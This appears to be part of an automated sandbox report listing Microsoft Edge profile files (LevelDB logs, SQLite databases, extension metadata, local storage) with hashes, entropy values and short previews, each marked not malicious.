SHA-512:	0B77877220C2A7D9B647E093EED4701231C1C4076FB14BA85A133C2D77B541472323300B7F4E48A47D948974B96EFFC4C559A005CBC3AE8194BA4CE15243FEB7
Malicious:	false
Preview:	2024/11/27-18:19:32.492 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-18:19:32.493 2364 Recovering log #3.2024/11/27-18:19:32.493 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	352
Entropy (8bit):	5.234551339103856
Encrypted:	false
SSDEEP:	6:HCz069Woq2PN723oH+TcwtnG2tMsIFUt8YCz06WF4FZZmw+YCz06WF4FzkwON725:4060ovVaYebn9GFUt8R06C0/+R06C05l
MD5:	36A39CEB435AE72FDC25B113E53070B7
SHA1:	33FA3507E509FD6353BA026B81568F43C521034E
SHA-256:	9FBF3C7380EE931547E7DBA581899B86D7934878A766D0A5C243120BFEF166F6
SHA-512:	0B77877220C2A7D9B647E093EED4701231C1C4076FB14BA85A133C2D77B541472323300B7F4E48A47D948974B96EFFC4C559A005CBC3AE8194BA4CE15243FEB7
Malicious:	false
Preview:	2024/11/27-18:19:32.492 2364 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/11/27-18:19:32.493 2364 Recovering log #3.2024/11/27-18:19:32.493 2364 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6135462678992121
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWi2qWTMAlw/:TLapR+DDNzWjJ0npnyXKUO8+jAp5mL
MD5:	E402763C676A0F0BE4054368DC108951
SHA1:	BF0F063FAA0CD34AEBBDC98A4F037A1C1305DDA1
SHA-256:	AF1BA986A6E0491317587392135BC616C224C7ED902E4706E20FF91F7E72C91F
SHA-512:	6121F8BB399EABB26F3063382F03B2F2F917D0AE4F1BFE7BADA277912686011166D0524FD45C4BA94C65B6484E5EC419A9FCB970296C7814EA389911895A2DBD
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	313
Entropy (8bit):	5.190185899493689
Encrypted:	false
SSDEEP:	6:HCzggozm81N723oH+Tcwtk2WwnvB2KLlVCzgjd3+q2PN723oH+Tcwtk2WwnvIFUv:4g1aYebkxwnvFLQghOvVaYebkxwnQFUv
MD5:	ED63F283F54212310823BF1C8827B38D
SHA1:	6CC2FC184D1FC470B826B39BF4F475FEE4B7CC06
SHA-256:	D9DDFA6718B5A068C727E0BF5E4849457E6E414F0B5BF30234B40C7809232C6B
SHA-512:	2D11F3C1F3F9BCBE30E3DFAA27F9C43722E0F3D3EE3A63A54548016E77076AB90BC6D1F61E0563B0B3D2421F51BE3B7062D2FA9BA4A314BE61CA8D8759B2C639
Malicious:	false
Preview:	2024/11/27-18:19:36.764 1f8 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/27-18:19:36.850 1f8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223631566484913
Encrypted:	false
SSDEEP:	6:HCz0ReQ+q2PN723oH+Tcwt8aPrqIFUt8YCz0RegZmw+YCz0ReQVkwON723oH+TcD:40ReQ+vVaYebL3FUt8R0Reg/+R0ReQVq
MD5:	0B13C8D056A367C1075FED47C6F6694A
SHA1:	F4820328306B1E7D9C38822A088FE7F4D4F6466D
SHA-256:	410366F351B82E31E32DA89CD36E2B1B83150BAF21022C2FCE40B484BCCE3A36
SHA-512:	20A2237243DF2C643A9F41B04592750A5668703082935F30EFEEB978B3AE65184174F21DA9681D0D262FA282CD8F8B1754C3D01A14BD2703E2DAF306FDE46138
Malicious:	false
Preview:	2024/11/27-18:19:32.554 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-18:19:32.554 23bc Recovering log #3.2024/11/27-18:19:32.554 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.223631566484913
Encrypted:	false
SSDEEP:	6:HCz0ReQ+q2PN723oH+Tcwt8aPrqIFUt8YCz0RegZmw+YCz0ReQVkwON723oH+TcD:40ReQ+vVaYebL3FUt8R0Reg/+R0ReQVq
MD5:	0B13C8D056A367C1075FED47C6F6694A
SHA1:	F4820328306B1E7D9C38822A088FE7F4D4F6466D
SHA-256:	410366F351B82E31E32DA89CD36E2B1B83150BAF21022C2FCE40B484BCCE3A36
SHA-512:	20A2237243DF2C643A9F41B04592750A5668703082935F30EFEEB978B3AE65184174F21DA9681D0D262FA282CD8F8B1754C3D01A14BD2703E2DAF306FDE46138
Malicious:	false
Preview:	2024/11/27-18:19:32.554 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/27-18:19:32.554 23bc Recovering log #3.2024/11/27-18:19:32.554 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.241451488162944
Encrypted:	false
SSDEEP:	6:HCz0uOGSQ+q2PN723oH+Tcwt865IFUt8YCz0WpgZmw+YCz0WpQVkwON723oH+Tc4:40upSQ+vVaYeb/WFUt8R0kg/+R0kQV5/
MD5:	5640D23A53360FC2B71F4C5DB1E86420
SHA1:	BC59F0498E583BDE11F3A044ADF5BDA9E5846172
SHA-256:	3EF3514329064C44FC83414A59C11FF92B3C3B483D782600F155FDF5841E6E39
SHA-512:	21B1E50816BF161D0F13DB07B2399D02A7C0DE0624ED49373DD76C9A9D511FE0C326F14493E4AF01397890D31FB9C931245592EB979495791234BFE776ED9A9F
Malicious:	false
Preview:	2024/11/27-18:19:32.586 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-18:19:32.587 23bc Recovering log #3.2024/11/27-18:19:32.587 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	332
Entropy (8bit):	5.241451488162944
Encrypted:	false
SSDEEP:	6:HCz0uOGSQ+q2PN723oH+Tcwt865IFUt8YCz0WpgZmw+YCz0WpQVkwON723oH+Tc4:40upSQ+vVaYeb/WFUt8R0kg/+R0kQV5/
MD5:	5640D23A53360FC2B71F4C5DB1E86420
SHA1:	BC59F0498E583BDE11F3A044ADF5BDA9E5846172
SHA-256:	3EF3514329064C44FC83414A59C11FF92B3C3B483D782600F155FDF5841E6E39
SHA-512:	21B1E50816BF161D0F13DB07B2399D02A7C0DE0624ED49373DD76C9A9D511FE0C326F14493E4AF01397890D31FB9C931245592EB979495791234BFE776ED9A9F
Malicious:	false
Preview:	2024/11/27-18:19:32.586 23bc Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/27-18:19:32.587 23bc Recovering log #3.2024/11/27-18:19:32.587 23bc Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.143082803534952
Encrypted:	false
SSDEEP:	6:HCz/pg+q2PN723oH+Tcwt8NIFUt8YCz/p3Zmw+YCz/pCdHNVkwON723oH+Tcwt8n:4/nvVaYebpFUt8R/x/+R/stz5OaYebqJ
MD5:	5343A9E4DEB48B7D1C56DC116D902808
SHA1:	4E3137A87654995905EFACB9B3BF161CF0189276
SHA-256:	DE08B6BF87AD1E5B2446E31855826BA21920F65952CA7F4DA79E52BCFA5F15A4
SHA-512:	0D9A5515A145F7B0015E7CEB58B98EB66AB4E4C507C9FECE0A09A24136BA648DBC339802480D8F28EEA4A299C71FF8EF3E896400ED5D9624EABF25CD3A71E283
Malicious:	false
Preview:	2024/11/27-18:19:33.202 2388 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-18:19:33.203 2388 Recovering log #3.2024/11/27-18:19:33.204 2388 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.143082803534952
Encrypted:	false
SSDEEP:	6:HCz/pg+q2PN723oH+Tcwt8NIFUt8YCz/p3Zmw+YCz/pCdHNVkwON723oH+Tcwt8n:4/nvVaYebpFUt8R/x/+R/stz5OaYebqJ
MD5:	5343A9E4DEB48B7D1C56DC116D902808
SHA1:	4E3137A87654995905EFACB9B3BF161CF0189276
SHA-256:	DE08B6BF87AD1E5B2446E31855826BA21920F65952CA7F4DA79E52BCFA5F15A4
SHA-512:	0D9A5515A145F7B0015E7CEB58B98EB66AB4E4C507C9FECE0A09A24136BA648DBC339802480D8F28EEA4A299C71FF8EF3E896400ED5D9624EABF25CD3A71E283
Malicious:	false
Preview:	2024/11/27-18:19:33.202 2388 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/27-18:19:33.203 2388 Recovering log #3.2024/11/27-18:19:33.204 2388 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.21838546206064954
Encrypted:	false
SSDEEP:	3:stFlljq7A/mhWJFuQ3yy7IOWUddweytllrE9SFcTp4AGbNCV9RUItVn:f75fOnd0Xi99pEYbV
MD5:	F0D4F912B506F998B16492346AFDC114
SHA1:	43862B6F926A8D905E39072C51748DD5DCE5DCD3
SHA-256:	067410C5097F4860FFC3D0E9B302728B3CCAE64855EAD2F107202A7CF2AFA44C
SHA-512:	AD93F996B710CCC1EC34016B4CDC70F38FD288717BA6AC207A03823725D1017491708219DD283B88016EB9B0420955C0BA5CF7A4724FB822E01301C88EEAF739
Malicious:	false
Preview:	.............T.p...&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 11, cookie 0x3, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	45056
Entropy (8bit):	3.571784012486408
Encrypted:	false
SSDEEP:	384:jj9P0BQkQerkjl5cbP/KbtZ773pL9hCgam6Ic:jd6e2ml+bP/o7PvM
MD5:	F1F9FD025F8EFC891F13DE041ADB076C
SHA1:	48C87AD868F8EDEE25D1086044E0C57004284134
SHA-256:	401CE55CB4E914AE273FDF8DAF3CD557A87EAB7E63309CADF882AEDB310A5F92
SHA-512:	BDBA89DFB6B0B5757D9E114EDF04C5FF8CACAA57965427C3025BB595E6E3A42C57AAD04FEC8730716172FAB8BBCB8C7DCAB44FC9046A8DEE92F5B06934E34869
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.30054140495547
Encrypted:	false
SSDEEP:	12:4gx9+vVaYeb8rcHEZrELFUt8RgNWN2W/+RgNWN9V5OaYeb8rcHEZrEZSJ:4gxKVaYeb8nZrExg8RgYN2ZgYNVOaYe2
MD5:	B5D559DCD183CA446D61CCC31FD9AC59
SHA1:	842789D59B904AF332B4FE30F831FD28C4BE8A66
SHA-256:	3114B456F6620315FF7B78A1A3EA69345EE7368ECA311BA934B5CED3D624732B
SHA-512:	67F86F2BC47AAF599A810516ECCBBEACA9668EAE26AE2BA72755F2E4603B087114491340680863DDF57FE9107E0774A7CB3CFE5B7832627F411A1D7F641A2F33
Malicious:	false
Preview:	2024/11/27-18:19:36.410 235c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-18:19:36.411 235c Recovering log #3.2024/11/27-18:19:36.411 235c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	412
Entropy (8bit):	5.30054140495547
Encrypted:	false
SSDEEP:	12:4gx9+vVaYeb8rcHEZrELFUt8RgNWN2W/+RgNWN9V5OaYeb8rcHEZrEZSJ:4gxKVaYeb8nZrExg8RgYN2ZgYNVOaYe2
MD5:	B5D559DCD183CA446D61CCC31FD9AC59
SHA1:	842789D59B904AF332B4FE30F831FD28C4BE8A66
SHA-256:	3114B456F6620315FF7B78A1A3EA69345EE7368ECA311BA934B5CED3D624732B
SHA-512:	67F86F2BC47AAF599A810516ECCBBEACA9668EAE26AE2BA72755F2E4603B087114491340680863DDF57FE9107E0774A7CB3CFE5B7832627F411A1D7F641A2F33
Malicious:	false
Preview:	2024/11/27-18:19:36.410 235c Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/27-18:19:36.411 235c Recovering log #3.2024/11/27-18:19:36.411 235c Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1469
Entropy (8bit):	5.679042905223992
Encrypted:	false
SSDEEP:	24:dZW3GotXV5ogGZ0F9XZrlW2sFV0374IJdMySOW2UlHu2luxNcgFHHmb2cytXo1:dZ4GotFZDF9XZA2iV0374KWyd3zcCRHQ
MD5:	BADFB2247D6C3ACB6AE8091E159D80E2
SHA1:	74F489DDB07F7F14E14C7A82A07E1A079A5AEF67
SHA-256:	0BCC73FFD5C483CF065DA5268789E0AC58C83135A5FD2D491A4FD01264741F0B
SHA-512:	A2483420BF47A7FF58D3BBF43B677FAC889774253F16E990DDC694EFB13BA4378D4D6685891300B6BB0D0DE1044DF9C2D287A043BEAEB3EAB1A95DB4EF82FCC9
Malicious:	false
Preview:	-B`$.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1732749587229.._https://ntp.msn.com..MUID!.29AE41A233D86250177B54E632BA6317.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732749587298,"schedule":[12,-1,-1,-1,9,-1,36],"scheduleFixed":[12,-1,-1,-1,9,-1,36],"simpleSchedule":[14,15,31,35,26,20,50]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732749587183.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Wed Nov 27 2024 18:19:46 GMT-0500 (Eastern Standard Time).!_https://ntp.msn.com..storageTest.... ................META:https://ntp.msn.com..............._https://ntp.msn.com..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.171375580986857
Encrypted:	false
SSDEEP:	6:HCz0BOq2PN723oH+Tcwt8a2jMGIFUt8YCz0WjZZmw+YCz0fDkwON723oH+Tcwt8N:40cvVaYeb8EFUt8R0+Z/+R0r5OaYeb8N
MD5:	993DD80610EE26F7E5DD1A312B9540D2
SHA1:	0FAAD1B94FDC944CE73422BE6F4ECADD088F87AA
SHA-256:	A5049B29AA4C7206162F9A620C299384737E281D83A93656F29B2DF96D25639F
SHA-512:	03F6F88F94996335EB094C0EA9AD0D2B44D4CF7A8FAB1E7D3907D7C0B105A6DDCB80E84256B330125DCCB4E5526B29952F0874AE481DFCA7A0459BF3CF7D9451
Malicious:	false
